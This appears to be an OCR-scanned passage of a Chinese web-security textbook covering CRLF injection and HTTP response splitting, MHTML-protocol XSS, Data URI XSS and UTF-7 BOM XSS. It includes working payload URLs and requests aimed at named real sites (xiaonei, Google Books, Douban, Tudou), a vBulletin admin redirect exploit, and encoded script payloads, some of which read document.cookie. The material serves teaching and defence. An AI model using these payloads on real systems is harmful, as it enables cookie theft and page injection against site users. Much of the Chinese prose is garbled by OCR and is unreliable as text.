WL HTTP W R 3k, Wk 7-3 Pis.

*7-3 HTTP e 5z 38
M a % |
Server Web fIR 55 25 #1142 B
Vary A5 VR IR Ao P 40 4 v 1 e i A s R 45 2% R
Date Jsv s Tl % 48 11 M6 A tH g e i)
Last-Modified T 2R B {868 1) vk I 1 i )
Location FH S TR 52 [ ATy 30 R URL 8437 380 0 5 B it R b 1R 37 ) 98

Content-Encoding

Web [Ji 5525 SCHF K) 32 (7] 1Ay 4 s 445 4 B 248 Y

Content-Type & [A] P4 2508 MIME 2854
Content-Length ) [ 44 ) 4 1
Content-Language Wi A T

HTTP (#)i# K Header MWi[% Header 405 T A1 % {5 B, JUA 76 30 Yo 348 3 VA A58 DU YRR,
B9, (RS RRATAT LAMKSESS =05 TRIMETASR, WHTHE /446 Live HTTP Headers Fl Firebug % T &

7.3.2 CRLF Injection JRI2

HTTP Header [f15€ X 2T Key: Value %54, 3 HB 4T “\r\n” & “CR” F1 “LF” 4r#1.
XA, MHPRAZEE “\Yn” MEEER, WR Web IR 5 28 AN FR PR S A AT BB T H %
iz B4y HTTP Headers, 84Xl BMERIBCE — 2245 BKA0 HTTP 3k, E0H HEEEH HTTP

Response [ 4 %¥ .

CRLF *{'ff] CR (Carriage Return) fiif{J2[E1%, F7LAT)LAIRRR: ASCI 13 5K “\r”; LF
(Line Feed) f5#AT, FJ7AA ASCIL10 il “\n”,

{EVF 2 &0 H, W MIME (E-mail), NNTP  (newsgroups), 4% HTTP ¥ #f 8 CRLF
KA ATIG A MAESCALLIE T, CR. LF. CR/LF &4 51 H T A F#1E R % L MHRAT .
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CRLF [Tk 7-4 .
£74 CRLF gYf#4T
' X f = ~+ il ASCI | 75k ASCI
CR GEH \r 13 0x0D
LF g7 \n 10 0x0A

XA FREEHHERTT, OFEEREZ R, BFiEE 8, Bl CRLF a3k mEEIR ",
F4E HTTP Wi S I 4 #R 4 HTTP Response Splitting.

fE CRLF 7 A/HTTP Response Splitting 1, Bili # RS A S IR 18 20 B 10 IR 5 IR 55 2% 1)
Lk, dEfTSEid R % A4 104 AR, SEIEE BT, I web cache poisoning. cross user defacement.
XSS %,

BN CRLF dEN, Bk e EAER] 2L Web ACHEREKAF (10 Fiddler) #EMT 51 W0 8% AR 55
A5 Z () A HTTP 85, 28 B L B 19 20 FUN 45 R, FRE HTTP 3 K48 45 ik 9548 & [F] 95 4~ HTTP
Response. IR LoHE 28—/~ HTTP Response, Bt & g8 AR B H M (Nik'E Cookies
{EL Dh R 25 i o 2 )

AT I F — BUAA RS

<%

nameValueCollection request = Request.QueryString;
Response.Cookies["userName"] .Value = request["text"];
8>

IEWNOLL T, 253 %,
| http://www.test.com/demo.aspx?text=test

PLF URL, #t2fdH text i & cookie[userName].
B, XEBAREHTHIOMAMATRAZESEER, SBDE 2R B
Prki & o] LA#a&E W~ URL SEti B

I http://www.test.com/demo.aspx?text=a%0D%0ASet-Cookie%3A%20HackedCookie=Hacked

Set-Cookie & HTTP Response [ 5.3k, HKEEHR/E HTTP Cookie, 1M%0D%0A &4t
URL %af4ff) CR F1 LF, ZEACIST o\, 752, %0D%O0A 0] LAZEWN 2 [A] SEBL— N4 5

EikaRf, BehEEN T EATERF, IR Cookie JF#R N Set-Cookie kf5 B, HEAMENA
Hacked (/] HackedCookie.

IETEES2 F, 193]/ HTTP Response ViZ U |+

HTTP/1.1 200 OK

Server: Microsoft-IIS5/5.1

Date: Thu, 20 Sep 2008 20:11:50 GMT
X-Powered-By: ASP.NET
¥-AspNet-Version: 2.0.50727
Set-Cookie: userName=a

Cache-Control: private

Content-Type: text/html; charset=utf-8
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7.3 HTTP Response Splitting

et HTTP MM HR4r ek CRLF i 5 1945 Ban R

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.1

Date: Thu, 20 Sep 2008 20:11:50 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: userName=a

Set-Cookie: HackedCookie=Hacked
Cache-Control: private

Content-Type: text/html; charset=utf-8

BECE NS, B E A ULEN /N HTTP Header, $t % 0] flE£:7F A HTML/JavaScript 18
40T, I sl f -

http://www.test.com/page.php?page=%0d%0aContent-Type: text/html%0d%0aHTTE/1.1 200
OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3EHacker Content%3C/html%3E

Y WHHE LG EEE, e E--B HTML {4i5:
i <html>Hacker Content</html>

B I BrARAG R T RE (), PR B b S AN it - 04T

#1{9#, CRLF Injection/ HTTP Response Splitting A< J&—Fii A4 Beab BiA, X P 47
1E 2002 SERILE, EARAWILAE Web Z4adi &, A4 E i ) .

T Bk AESE (T K IE A2 1% Cookie 8L HTML 1818, FrLl HRS #ILH kB sl 82
PEuh, G8RIE AT DAl R AT R .

FRLL$E, HRS X fabett 2 T XSS,

7.3.3 ¥AM HRS
P& “H” 59 2551|251 — > HTTP Response Splitting (195541, 12 & 7 H4 076 K P4 I 1 8 5% 5L i,

nE 7-14 s,
[ tem - EAEE HLEE
D xiaonei

SRR

HFarEREL
FosCrpts

=

esed

r FihE=ES

BT $EEIEES

AET7-14 BARMEAD
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DT PTIEBORMX G 2 Z S AT ANAN R 2 A 8 AT A, A7 IS 24 FAT 1) SEBR BRI ARSI ST D2 SRR T 2L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
B BHIRAN A R ATHOUE AT G 8, FATTH F AR A [ A O RBARTEINSC 2 3k | SR 2] s JoAe S s ST 8 A

B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s
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PR RV B 7 4 NURY/WWW. L /huan.com

®7® RAxssER

& —NRPWF:

<form id="x"
action="http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert (/X558/):</s
cript>" method="post">

<!-- input name="email" value="" / -->

<input name="password" value="testtest" />

<input name="origURL" value="http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" />
<input name="formName" wvalue="" />

<input name="method" wvalue="" />

<input type="submit" wvalue="%E7%99%BB%E5%BD%95" />

</form>

AT R NS MR Ah % HRS/XSS, W& 7-15 Fiok.

W - Im hitp://login xiscnei. com/Login doTemail=a¥X0d¥0a%0d¥0adzeriptralert (fXSS/); {/eeript)
xim SRD SEO GERw TR Mo ' e

e i http://login xisonei. com/Login do7email=a ..

aE 7-15 fh& HRS/XSS

HIRA AL Hds n F -

POST http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert (/XS5/);
</seript> HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-
flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,
application/x-silverlight, */*

Referer: http://www.a.com/test.html

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

UA-CPU: xB6

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Proxy-Connection: Keep-Alive

Content-Length: 103

Host: login.xiaonei.com

password=testtestsorigURL=http%253A%252F%252Fwww.xlaonei.com%252FSysHome.do%250d%250a
&formName=&amethod=

HTTP/1.1 200 OK

Server: Resin/3.0.21
Vary: Accept-Encoding
Cache-Control: no-cache

https://www. l1nuxprobe.com
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7.4 MHTML hixt%s

Pragma: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Set-Cookie: kl=null; domain=.xlaconei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT
Set-Cookie: societyquester=null; domain=.xiaonei.com; path=/; expires=Thu, 0l-Dec-1994
16:00:00 GMT

Set-Cookie: _de=a

<script>alert(/XSs8/) ;</script>; domain=.xiaonei.com; expires=Thu, 10-Dec-2009 13:35:17
GMT

Set-Cookie: login_email=null; domain=.xiaonei.com; path=/; expires=Thu, 0l-Dec-1994
16:00:00 GMT

Content-Type: text/html;charset=UTF-8

Connection: close

Transfer-Encoding: chunked

Date: Mon, 15 Dec 2008 13:35:17 GMT

T A T, R A P AR AR o Sk A Ok R N A R P B R AT R (R
CRLF). MAM%yEE, CRLF 1Reffegi e 4migF H, i URL 45 (%0d%0A) 5R#E 1+
b, K.

ELT muTmL thimy %2

2011 4], WAEARE 17— Oday #iFl, ZWFFEAET MHTML 1, WP Windows &,
{345 Windows XP. Vista. Windows 7 FlfTH i 4<] Windows Server. [a] i dH T- MHTML Bhid &b
ISR MIME #&3Cul sk SCRy ob py sk i 7 G AR K, e PR B o] A F e AT R B A AR S
TEANFIH PR a8, DAHIRIUBUR(S BAATE R AR .

P BB R, CL2E T IR T ke I S R A T, KET LS ER A8 MNE T
#] (Ph4ntOm Webzine) HiFZ4di, WHFHAA (IE F MHTML BrGH R E 8 E %5 ).

Mo, BATKRERI AR MHTML.

MHTML j MIME HTML (Multipurpose Internet Mail Extension HTML) 4R S , J& i1 RFC 2557
SE ST — A 28 QAR T I () B 4T 9 AR EROR A7 3 ) — AN SORS IR B 7 R o XN R eh B S 14 9F
M IE 5.0 JFEfsiti, BRIA%Z%H) Window REHAHAT MHTML PhillbFEFEfF (MHTML Protocol
Handler).

7 1IE p Y88 b, YA B P URL MIPHCH MHTML i, 1E #i8H MHTML P b 38 F2 5
% ZE IR S E MHTML 85 X S0P TR BT A2

MHTML A3 Rl & R -

i mhtml: [Mhtml File Url]![Original Resocurce Url]

Original_Resource_Url M i S {£ff] Content-Location 4t 3K7%, &R Original Resource_Url A figM
Mhtml_File_Url P3EHL, 1E #4220 F# Original_Resource_Url Ji& [B] F# A 2.

P 2 B IR ) S TR TR X TE MHTML B3 B Bl TR AT B R g, 1R /DR B R AT
RAEM) XSS, T [ fay a8 YL B .
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®7HE FAXSSFE

Bt/ HTML 30, 0 demo.html, A LL FACHS:
Content-Type: multipart/related; boundary="_boundary by mere”
-- boundary_ by mere
Content-Location:demo

Content-Transfer-Encoding:baseé4

PHNJcmlwdD5hbGVydCgiWFNTIikBL3NjcmlwdD4=
-- boundary_ by mere--

B $H IE ) http://127.0.0.1/demo.html, & [F]{ R B 7-16 B

/2 http://127.0.0. 1/ demo. hinl ¥Yindows Internet Explorer

@' - & 127.0.0.1 ol R4l [

e WEe FEY EEEE IAD #BHo

R @ hitp //127.0.0. 1/ demo. hitnl OG-8
Content-Trvpe: multipart related. boundan="_boundary_bv_mere" --_boundar)
Content- Transter-Encodingbase64 PHNjemlwdD $hbGhVvdC g WEFNTIkSL 3]

aE 7-16 h/0) MHTML #8301

23 7ik IE #§H MHTML Protocol Handler ¥§i% %5 24 MHTML & X SCH@R AT AL EE, 75240
URL #8048 MHTML thHi%: 7€ http §UIN_E “mhtml:” F#E, JEHi0_E “'demo” FFE, H:

| mhtml:http://127.0.0.1/demo.html!demo

RIG, 1ER] IE 902805 iz s, SEm DUmsf e — 4> XSS XFiEHE, Wi 7-17 Fias, ddkiE
B A ] MHTML Bis0n] AP AT 5 3 i 4

e R =il

£ mhtal http://127.0.0.1/demo. himl!demo b g P4

WIRE ) ehtml http://127.0.0. 1/ demo. html ! = - B

samAn#s X

a[E7-17  F)H MHTML #8068 4T XSS
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7.4 MHTML thivmzs

6 bk, MHTML #his ik BRFE 244 demo.html ' ) Content-Location { (demo) #%
RS V(1 Hcd e, FFHRHE Content-Transfer-Encoding i LA F $4 il 1«

i PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjemlwdD4=

R0 R A AR
I <scriptralert("XSs")</script>
$e ) T 1E EEARAT P AT A
eAh, JABEAT UL A L4 ) CRLF ([M1ZE4:4T) SRECHL XSS, %645 — Bt PHP 4.
E <?php
echo $_GET[k];

AT 7E ORI URL Bt R0 k (OB MME, R —MEI URL, it
MHTML st AJAACHS, i Frs.

mhtml :http://127.0.0.1/test.php?k=ax%250AContent-Type%253Amultipart%252frelated%253Bb
oundary%253Dx--x%250AContent-Location%253AX55%250AContent-Transfer-Encoding%253Abaseb
4%250d%250a%250d%250aPHNjcmlwdD5hbGVydCaneHNzJykBL3NjecmlwdD4%252b%253D-~- | XSS

AT, AEH] IE Vi iRli% R, Ui 7-18 Pin, IR T XSS.

X FEERM L, Windows XP R F MHTML WS 7 25 75 B K encode A 422,
Rk % B A %25, XFF URL {6 S MR %A 28R 5%)] . £ Windows 7 3 XAl il .

FECEC I MHTML Jsilal B0k 2 Pl tHEE 1 %242 8@, B4l Google BOOK #7411 XSS it
MHTML P GE AR A 21T, fE% 2 (http://www.wooyun.org/) A 440, FHXF A
mr:
g mhtml:http://www.google.com/books?q=x%250AContent-Type%253Amultipart%252frelated%253B

boundary%253Dx--x%250AContent-Location%253Aajax%250AContent-Transfer-Encoding%253abas
i e64%250d%250a%250d%250aPHNjcmlwdD5hbGVydCgib2siKTsBL3NjemlwdD4%253D--x%250A ajax

i Lot & 1= W Lo )

Soankalle

@ mhiml http://127.0.0. 1/ test. phpPk=ax¥0S0AConter ¥ | *5 X

R  ( ehtel:http://127.0.0,1/test. php?k .. - B L

AE 7-18 fhd XSS
PATEE R 7-19 Fiss.
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£7% RAXSSEE

1/ S google.com books?g =x%2 S0AContent - Type®h 2 538mull imart®a2 520 elabed®e2 5 3 bouhdar yeZ - Winslows [nternet Explorer

1.]! mihtend:hitep: | www. google. com/hooks?q=x e 2S0AConkent - Type %25 IAmultipart % 252fr elated¥25 3Bboundar y %2530 x % 2S0AC ontent-Location %25 3Aaax 7y

Vi SR eWAW IR WB it
| s Matasplok Penetration Testi... ~* Metasplok Modue Browser " SCRHRAN -~ MUICISIRIA
;mwmmm' |

¥ HHEE A A

L T L e

4@ 7-19 Google BOOK &Y XSS

Y S B I MHTML BriSCACAS 5T A , XSS Expliot @1 F -

mhtml:http://www.douban.com/search?search text=ax%250AContent-Type%253Amultipart%252f
related%253Bboundary%253Dx--x%250AContent-Location%253A80sec%250AContent-Transfer-Enc
?c_lj!.gg:iz:‘.}%base54%250d%250a%250d%250aPHNj emlwdD5hbGVydCgneHNzJykBL3NjemlwdD4%252b%253D

PATE R WP 7-20 Fios.

B fE T- MHTML P33 XSS (977 SRR e, JLSERS mT R [a] B 19 2 Bk 47 B 1 a2 71 o8

BpaT,

© ZHACRERS .

5% MHTML A7 g R, AR, 7 REFIIGIXFY i) 54T -

@ FrILE.

I8 T H P 9%0d%0a, BIEIFRAT R, A2 kL MTHML Bl s X E K.

Fuhin 1 hity: _{! wvw. douban rua_lx_-m_rlf sear -_.-_I: Nexi=nx lD&ttal_oli'f"aﬁl-dt_lpu 1521

YHQ WMEE FEY PER TRQO MR J

O -0-x] J G Jmw s comr @3-, @ - &

i@ m;hul: http:/fwww. douban con/search?sear ch_text=axX2S0AC ont ent-TypeR2Sihaal Li par 1525

A 7-20 TR MHTML i XSS o) 58
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7.5 #|f Data URIs 345 XSS 247

E17) %17 DataURISs 17 XSS &4

AAT S —FhRE 5 XSS Jrik
5 AT XSS.

Data URI 77 EH MHTML 13266400, 424t T —Fhiliid base64 Hhifid7E M T2+ H BARA SCHERY
Jrid, R &I AT LASRIL B T B 44 Rt uE i XSS Bl &% .

TR %K T ##— F Data URIs (KA CHES .

Data URI XSS. 448 ¥, Data URI XSS /&#|/ Data URI

7.5.1 Data URIs 1T48

FI{E KZK#BNE URL (Uniform Resource Location), 3k “4—BBEMEF”, £—&RFIW
] SR AFHAE T B

B, B AR IRV BRI, Bl CSS. JavaScript C{FER Image SCfF, AR
~ URL, 3 URL 848 Uriif S0 8% 22 W8 N AT iX B30 4.

KA, URL 4% 3 i =8B 2041 ik

o S, B HTTP. FTP. MHTML %%;

o I I RAFAERSEM N IP Hukl, ANt ARERD S,

o BB, MW THRAEN.

#iin T ff) URL:

file://ftp.test.com/pub/files/foobar.txt
http://wWww.test.com/welcome.html

%4~ URL 1 H] File ¥pill, RRAFBAE TN fip.test.com L pub/files/ H 3% FI—A 304, X
4% Ji foobar.txt.

FH—> URL FEBCH W, (6 (R HTTP B ORI, Rt HALIR A 4 www.test.com
F ] welcome.htm] 314,

URL J& URI % F B 446, 1fi URL &4 — ZE0RARIATF (Uniform Resource Identifier) )
455, ‘e URL RAREL, 472 — P hHRREBERE B, O 8 TRERHIME R, DRIk
{5 BE—/ bk, B4 URI 8% [F T° URL.

Data URI Wt 1 RFC 2397 52 SCHY—FHE/N SO IR ORI T 3, Mg VR i 4

| data:[<mime type>][;charset=<charset>][;baseé4],<encoded data>

Z R .
data $5ft URI il
mime type HFREIEXER, w0 pNc BHMNA image/png; ELWHMA, BIAH text/plain

charset WRF{#M base6d, M{EM charset {EEMNFFFER
encoded data RRMHINER

Data URI dge A7 88 (1) 1 7 J& o] ELLE P 48 S0 i O\ 3 oAt ScfF b, o F 2 — 7K GIF B )5 H base
64 U740 )5 () DATA URI: ;
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W7& RAxssg®

<img src="data:image/gif;base64,R01GOD1hEAAOALMAROazToeHhOtLS/TLZv/0] vb29t/£3//Ub//
ge8WSLf/rhf/3kdbWlmxsbP//mE///yH SBAAAARAALAAAAAAQARAAARReBL1IEkYky6TQZ1hLnjM50Ude0ECWL
JoExKcppV0aCcGCmTIHEIUEqQjgaORCMxIC6e0CequiwéaFjsVMkkIr7g772KPJjPZqlyd7sJAgVGOEGVZxsBx
gNgYPj/gAwWXEQAT">
¥ LA _EARTDARAEAE— A HTML 304 b, SRJ5 3 Sa84T 7, BORWE 7-21 Bras. Wl LLE
FiX A DATA URI 78 T AN ST i B A
HAT, 48K 2 5000 T3 WA S R DATAURI 5%, £
% Firefox 2+, Opera 7.2+, Safari, Chrome. Internet Explorer 8+
%ﬁu ﬁ%’go C) W file:///C:/Dacuncnt s%20and%205et

zaE ks =RV WOH

7.6.2 Data URIs XSS <img sre="data:image/qif;
basesd ROIGODIhEAAOALIMAAOazToel

PAT XSS FH H I ER S| A<scriptbr¥E, {HERZ N £13/{Ubj//ge BWSLI/thf/3kdbW1mxsbP
fi, Web N HIFEFE2id i€ script. javascript. alert 2§ Al 7-21 FTHR
Fo WAL XSS K T PR

FiZM L, data URL 4L T —4NE HTML 83 CSS U A B A 7%, (BB ™15 e
AR SO R By, a2 56, BT LLAE base64 4uhl 5 Ik AT 2 RY () 30, BL5 & HTML
AL,

RN ERR R

i <a href="data:text/html;base6d, PHNjcmlwdDShbGVydCgiWFNTIikB8L3NjcmlwdD4=">test<a>

XA RAE A HTML 30, #RJ5H Firefox MW a8F1IF, Beit Bm—A il 7-22 fr
AR . i, WA XSS B IEHE, W 7-23 Pk,

" filey///€:/Docum. .or/ Sli/testhtml

-

5, BAm

X .

(Wid - C v @ L] @ fewscioo '
file///CyDocy...rator/SE/ S html |
AE 7-22 ERAYHTML @A AE 7-23 BaatiEabE XSS
fi# % URL 1) base64 Hfi{ii:

| PHNjcmlwdDShbGVydCgiWFNTTik8L3NjcmlwdDd=

EEIIVERE I8

I <scriptralert("X55")</script>

204

PR YR AT B /7 s NUPR/WWW. L /NUan.com  #R25 T YR A AN ZH B /7 T9-425%: NUPL//T.].COMVKUDas_PRIoY/  HME— B Jm QU: 4829993

https://www. l1nuxprobe.com




ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
B, WAFAEBAT AR RIF ORI A R P EURIL I AR Z AL, MO &A1, B LRIy DAL EE . IS ERRAIRE, SR A TERR
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B Mk http://iwww.17huan.com ik 2.5T i i Jo N a US54 BEUR . FHEHCE W B R s

7.5 %/ Data URIs #45 XSS 247

Fuir-s Dawegoszas Deeeress DESEUCT) DBsigEuc«r) REFHM

basebd W | I WE | M R

EN smivdDERE SV yS g NTHT I REL IS Sl vaTem

AL | mn | s | i

AE 7-24 basebd FEikfhih

Ht AT WL, F ] DATA URI #3557 Y base64 4l 7R85, ALAYER XSS A Shellcode, M
1583t A4 21 2R 4% B A € (1) XSS Filter.

3R Data URI XSS /Rl —E R MY, BRFR i Abfh R XSS, BJ A% B d il M4t
Pr%, UN<object>hr%E. ¥ AR Al LAELTH P ML FRbA XSS, SEBLMARIT:

<gbject data="data:text/html;base6d, PHNjcmlwdD5hbGVydCgiSGVsbGBiKTs8L3NjcmlwdD4=">
</object>

AT S RN 7-25 P

@ﬁ" C X o B @filsiytyDocuments and Settings/administrator/ B/ him!

o fileyjj/Cy/Docu...rator/ @M/ Shtml |

[TavaSeript FEHTEF]

1 Healio

afE 7-25 GEEHMIARLT XSS
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1K BB B i, FEAN R AT M BRI Y25 A SCFF DATA URI J7 %, Bt H BETE SCFF DATA URI
(147 901 553 28 P DA T il LA
£ HTML th, % ¥F DATA URI (fJ#5% 45 <object>. <iframe>. <anchor>. <img>%.

7.6.3 vBulletin Data URIs XSS

i), WAIKA > Data URIs XSS %61,

vBulletin & —N#RK. R Gl 58 W H SOE SNz fr 4, eneddid—4 XSS
Wi Chttp://seclists.org/fulldisclosure/2008/Jun/0181.htm1), %A EIFIF T DATA URI $047 85 35 B4
AL . 5 R R A A AR I F

if (!empty($vbulletin->GPC['redirect']))
{

require_once(DIR . '/includes/functions_login.php'):

$redirect = htmlspecialchars_uni (fetch_replaced_session_url ($vbulletin->GPC
['redirect'])):

print_cp header ($vbphrase('redirecting please wait'], ", "<meta http-equiv=
\"Refresh\" content=\"0; URL=$redirect\" />");
echo

"<p>&nbsp;</p><blockquote><p>$vbphrase[redirecting please wait]</p></blockquote>";
print_cp footer():;
exit;

}

PRSI 4 Sredirect ZFH/30H T http-equiv " ¥ £8b iL 38, X FF— il it i % data:text/html
SEARBSAE ol Sl XSS Hiti, WREER N -
I http://www.test.com/vB3/admincp/index.php?redirect= [ Expliot]

#2513 base64 4 hd J5 (1) Expliot W1 -

http://localhost/vB3/admincp/index.php?redirect=data:text/html;base6d4, PHNjcmlwdDShbGV
ydCgnWFNTJyk8L3NjcmlwdD4K

X1 Data URIs XSS (AN R UFBIX HL, 5 BA R UA 55— PRk i) XSS——UTF7-BOM
XSS,

"7 UTF-71BOM XSS

AT 2011 AEA- 21 ST 0 — b i R AR e il

FHi%EkK 7 ## - F UTF-7 BOM .

UTF-7 (Unicode Transformation Format, UTF) #§ 7 i 7C Unicode ¥ ¥, RO HBEH
Wi A, A+ RO A TG 545K . 1T BOM (Byte-Order Mark) J& 75 i
JFbrid, JEHAFILL UTF-8. UTF-16 5% UTF-32 4ifi3(f) Unicode SCHEIT kA4S BbRIC, FSRIRS
Unicode SCAF I gnh 28 7Y,

it A FACHS:

| <script>alert(0)</script>

UTF-7BOM XSS.
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7.6 UTF-7BOMXSS

#8 UTF-7 4uhd J5 28 i«

i +ADw-script+AD4-alert (0) +ADw-/script+AD4-

FIFE, RS-

| <script>alert(document.cookie)</script>

% UTF-7 43548 A«

| +ADw-script+AD4-alert (document.cookie)+ADw-/script+AD4-

— KB, Web ) WIAS T B AE PR GRS A GEIER ML B — N, 0 SRR R GRS R AT
HTTP ff] content-type 3k 5% HTML (¥]<meta>F7% 52 S, FLL] 5382 9 Sh%5 0 B9 01 1) 7 FF SR i,
18 F A1 5.

Ri%E—A GET ifiK, HAEH JavaScript fLF5 /=4 —A~ 404 $5R T«

I http://server/+ADw-script+AD4-alert (document.cookie) +ADw-/script+AD4-

IR 5 4% (] N A «

HTTP/1.1 404 Not Found

Server: Resin/3.2.s080828

Content-Type: text/html

Date: Wed, 24 Sep 2008 23:25:02 GMT
Content-Length: 1070

<html>

<head><title>404 Not Found</title></head>
<body>

<h1>404 Not Found</hl>
/+ADw-script+AD4-alert (document.cookie) +tADw-/script+AD4- was not found on this server.
<p [><hr />

<small>

Resin/3.2.s080828

</small>

</body></html>

i1 A i e IR AT RS, R T

I /+ADw-script+AD4-alert (document.cookie) +ADw-/script+AD4-

YR BhA N AARIE BN W AR, WA AG IS LA UTF-7 Mdr b2, MifiF=4—A UTF-7 XSS.

VARG, XA 4 ) LAE T30 W A% AL BE 4 5 (1) SR, Linx 8 R Al — 8 SO E S A 1E &b
P Meta Steam ()4 fdid 2,

o EMAS PHP 3C#F, 3001 aphp IH T js.php-

a.php {4H5 4N T :

| <script src="js.php" charset="gbk" type="text/javascript" ></script>

js-php A5 F

header:Content-Type: text/html; charset=big5
+/vB
alert ("+ADs=-");
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W|T7TE RAXSS RE

= R AT .

@ IE {&Y¢ a.php B, BF|4E A <script src="js.php" [FiFFK, S IE 24 js.php & S H) 4l L&
default:unicode.

@ IE ##% charset="gbk" &£, js.php II%&fi% M default:unicode % 4 gbk.

@ IE {8 js.php, EF| HTTP 3k “Content-Type: text/html; charset=big5” I, js.php fF14af5 M
gbk ¥4 bigs.

@ 1E 343 js.php #y M IE G, #fkJLAS T2 fife ib & +/v*
unicode; WIHZ+v*, bl {k N UTF-7.

® W% steam JEH <link>FrBEWA M CSS 308, BhEM @charset brid— WA, WHAL
b @charset % [V ¥ 4 b5 .

M 4 Bal LI —AN e, IS “v8”, “Henv9” FHOCHET, wf LU VR Y88 LA F
character T3, IXFERE T BRI %24 B 4.

SEfr b, %I LSS S R AR T UTE-7 MRFBRPE, OB TR TE o Y5 3% <> 2 ak JiAh i &
I F-FFHET LA Bom JJWT I FAFEE 9 ER 56 . B RELL Mg 5L

oL 1

<meta http-equiv='content-type' content='text/html>
+ADw-script+AD4-
alert (document.cookie); +ADw-/script+AD4

iX B A 5 5E charset, HHIL UTF-7 4865 (WI+ADw, +AC8 %) I, 3% 25 S MR AT AT 4
A1, OFE:
] <script src=data:text/utf-7,+AGE...charset=utf-7></script>

WL 2

E <title>+ADw-/title+AD4APA-meta

R fife, Guidsdil

http-equiv+AD0O-'content-type' content+ADO-'text/html+ADs-charset+ADO-utf-7'+AD4-
</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8">

{£ Meta Charset Z Aiffi \ifi ], {73 charset 2l UTF-7 4ah5 17
BrEk, 7ESEHL JSON [B]if (g ek, 4R 5 A H] UTF7-BOM 7= XSS.
fE AT o] AFE ISR IT Sk LA T35, BREe S8 i 5 UTF-7 BOM character 55/ XSS, 3
RN
I http://www.test.com/test?asyn=1&callback=[utf-7 % J[utf-7 8B ] ......
FITEAXEAS UTF-7 BOM XSS FHIKBATHH, H XSS AW T
http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=%2B%2FvB%20%2BADw

AaABOAGOAPgABAGIAbWBKAHKAPGABAHMAYWBYAGKACABOADAAYQBsAGUACgBOACgAMQAPADSAPAAVAHMAYWBY
AGKAcCABOADAAPAAVAGIADWBkAHKAPgABACBAaABOAGOAPg-%20xsadas

FNE UTE-7 SkJ&:

| %2B3$2FvB (+/v8)
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7.6 UTF-7 BOM XSS

N (1) UTF-7 0 i «

%2BADWAaABOAGOAPgABAGI AbwBkAHKAPgABAHMAYWBYAGKACABOAD4AYQBSAGUACGBOACGAMOAPADSAPAAVAH
MAYwByAGKACABOAD4APAAVAGTI AbWBKAHKAPgABACBAaABOAGOAPg-

UTF-7 Hi g J5 28 4 -

I <htm><body><script>alert(1);</script></body></htm>

X Fh XSS A A 11 Gareth Heyes & XSS Lightsabre techniques —3CH#H, FFEERHT
CSS 1, fEFBOCRMAAG A XSS,
Heige 7t & | F UTF-7 BOM X /1 B2 (M) 384T XSS Beaky, g v i) At ) 1 2«

I http://hi.baidu.com/hi%5Fheige/home

f e & 2t P 7-26 At XSS MR .

Rk, BANVER WM /E CSS FHAT IR XSS,

W OLIGF ] CSS BEub i i, EIRE S — RS, WA xss.css 30, H
A TS

body{
font-family:
'x';xss:expression|( (window.rrr==1)7'"':eval('rrr=1;eval (alert(/X55/));"')):font-family:

Y.
¥

}

Q- O W@ Sm freme @ @55

bik @ ) htxp:ffh;.b.sdu.cumfhsssrh-{;qfho-c ;

Nicrosoft Internet Ezxplorer ﬁ_|

L] /Happy Wew Year! thx mario./
LY

AE 7-26 HERYUTF-7 BOM XSS % 8

RGP HTML 3CRS, A LU FARHD:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"™ "http://www.w3.org/TR/
xhtmll/DTD/xhtmll-transitional.dtd">

<html xmlns="http://www.w3.0rg/1999/xhtml">

<head> 5

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<link type="text/css" href="xss.css" rel="stylesheet" />

</head>

<body></body>

</html>
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D https//127.0.0. J/test. hinl — Ficrosoft Intarnet Explorer

Q- X @G e remx @ 13- 533
AN B Bep: /7127.0.0. 1/ test. hind b .aﬂ L3,

AE 7-27 fh%& XSS

ELERBIFIR T CSS [ expression 77 iEHAT XSS, BT AR Z k. BATH xss.css XA
RS T

+/v9
body{

font-family:
'+AHgAJwATAHgACWBZADOAZQB4AHAACgBl AHMACWBPAGEADgAOACgAdWBPAG4AZABYAHCALgBYAHIACGASADD
AMQAPADBAJWANADOAZQBZAGEADAACACCACgBYAHIAPQAXADSAZOB2AGEADARCAGEADABLIAHIAdAROACEBAWABT
AFMALWAPpACkAOWANACKAKQATAGYAbWBUAHQALOBMAGEADQBpAGWAEQABACC-" ;

}
BT DU, ARKARTT LAt — A xS HE .
BEUEH CSS Ul A+/v9 25747, & URNINLAE LA UTF-7 ZRAEM RSB Z R, &
JG ) CSS B ALt UTF-7 45 i XSS AL 44T .
fE/ “UTF-7 M6 TR” 1% CSS h il RinE, i 7-28 Fix, MBEEKE
oA

| =x'ixss:expression((window.rrr==1)7?'"':eval('rrr=1;eval{alert(/XSsS/)):"));font-family:"

w UTF-7 RIS TH Encode & Decode

x" :xss expression(rindow. rrr==1)%"" eval (' rrr=1:eval (alert
(FXS5/)).7)); fomt-Eamily:”|

+ KHEATwAT KHighew Bz AD o AZQBAAHAAC eB1 AHMA cxBpAGEAD ghoAL ghdwBpAGAAZA

EAIADOABQARATEATw ArAD cAZQEZAGEAb AR OAL chcgByARIAF

